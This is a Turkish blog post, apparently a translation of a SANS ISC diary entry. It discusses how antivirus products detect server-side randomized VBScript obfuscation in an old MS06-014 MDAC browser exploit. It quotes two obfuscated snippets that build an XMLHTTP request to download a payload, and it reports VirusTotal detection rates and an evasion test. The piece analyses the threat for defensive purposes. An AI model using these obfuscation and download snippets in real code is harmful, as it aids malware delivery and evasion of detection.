Anti Virüs Endüstrisi ve VBScript/JavaScript tespiti

Son zamanlardaki browser exploit'lerinde dikkat çeken şeylerden biri gizlemek için fazla uğraşılmış olması. Bunun sebebi tabiki AV veya IDS'lerin tespitinden kurtulmak.

Anti Virüs endüstrisi gizlenen exploit'leri tespit için geliştirmeler yapınca, saldırganlar da kendisini her seferinde değişik şekilde gizleyen exploit'ler yaratmaya yöneldi. Bu konuyu daha önce dinamik Javascript gizleme konusunda anlatmıştım - bir istemci exploit içeren web sayfasında her istek yapışında, sunucu tarafındaki PHPi script'i rastgele değişken isimleri seçiyordu, ve bu sayede meşhur arguments.callee() metodunu kullanan fonksiyon gövdesi her seferinde değişiyordu.

Bu sefer de dinamik VBScript gizleme ile karşılaştım. Exploit çok da ilgi çekici değildi (eski MS06-014 IE MDAC uzaktan kod çalıştırma exploit'i) fakat sunucu tarafında VBScript kodunu yaratan kod gerçekten ilgi çekici idi.

Sunucu tarafındaki script basitçe iki şey yapıyor:
* Tüm değişken isimlerini rastgele değiştirme
* string'leri rastgele olarak bölerek daha ufak string'lerin birleşimi haline getirme

Bu tip gizlemenin sonuçlarını aşağıda görebilirsiniz:
      rub="Mic"+"r"+"o"+"s"+"oft"
      jleptfo="XML"+"H"+"TTP"
      set ugdd = CreateObject(rub & "." & jleptfo)
      gljxbkx = "G" & "E" & "T"
      dsoswt = ugdd.Open(gljxbkx,nmqqa,0)
      ugdd.Send()
      On Error Resume Next
      lpuvkay = ugdd.responseBody

--

            lwyfqe="Mi"+"cr"+"osof"+"t"
      pnqf="XM"+"L"+"H"+"TTP"
      set jbg = CreateObject(lwyfqe & "." & pnqf)
      qcr = "G" & "E" & "T"
      rjtp = jbg.Open(qcr,osjypz,0)
      jbg.Send()
      On Error Resume Next
      gwwtvo = jbg.responseBody

--

Bu dikkatimi çekti ve biraz detaylı inceleyip AV programlarının bu basit gizleme karşısında ne yaptığını görmek istedim.

İlk olarak, bu tip exploit'leri tespit etmek daha ilk çağlarını yaşıyor. VirusTotal'daki 32 AV programından sadece 5 tanesi bu dosyayı kötü amaçlı olarak tespit edebildi (ve bu 5 tanenin bazısı ortak tarama motoru kullandığı için sayı normalde daha da az!).

AV üreticilerinin hakkını vermek gerekirse, VBScript ve JavaScript gizlenmiş exploit'leri tespit etmek çok kolay bir işlem değil. Basit tespit için imza tanımlarına dayanıyorlar ve çok sayıda gizleme metodu var. Bu sebeple, string bölme gibi işlemleri tespitiçin bir çeşit yorumlayıcıya (veya optimize ediciye) ihtiyaçları var. İlgimi çeken şeylerden biri de buydu ve küçük bir test yaptım.

Aynı script'in 100 örneğini (direk olarak etkilenmiş olan sunuculardan) aldım ve hepsinin fonksiyonunun aynı olduğuna fakat farklı değişken isimleri ve string gizleme kullandığına emin oldum. Ve sonuç menun edici bir sürprizdi - 5 programın hepsi de 99 örneği tespit etti (sadece 1 tanesi aynı tarama motorunu kullanan iki ürün tarafından tespit edilemedi).

Bu teste göre AV üreticileri iyi yorumlayıcılara sahipler. Maalesef memnuniyet fazla uzun sürmedi. 5 dakika sonra AV programlarının signature'larının (bu test ettiğim script dışında) pek de güvenilir olmadığı ortaya çıktı. Exploit'te küçük bir değişiklik ile, exploit fonksiyonu aynı kalmasına rağmen, 5 AV programını da atlatmış oldum.

Görünüşe göre bu kedi-fare oyunu bir süre daha devam edecek. Umarım AV üreticileri tespit yöntemlerini geliştirme üzerine çalışıyorlardır.

Kaynak: http://isc.sans.org/diary.html?storyid=3439&rss

__________________________

5
Ortalama: 5 (2 votes)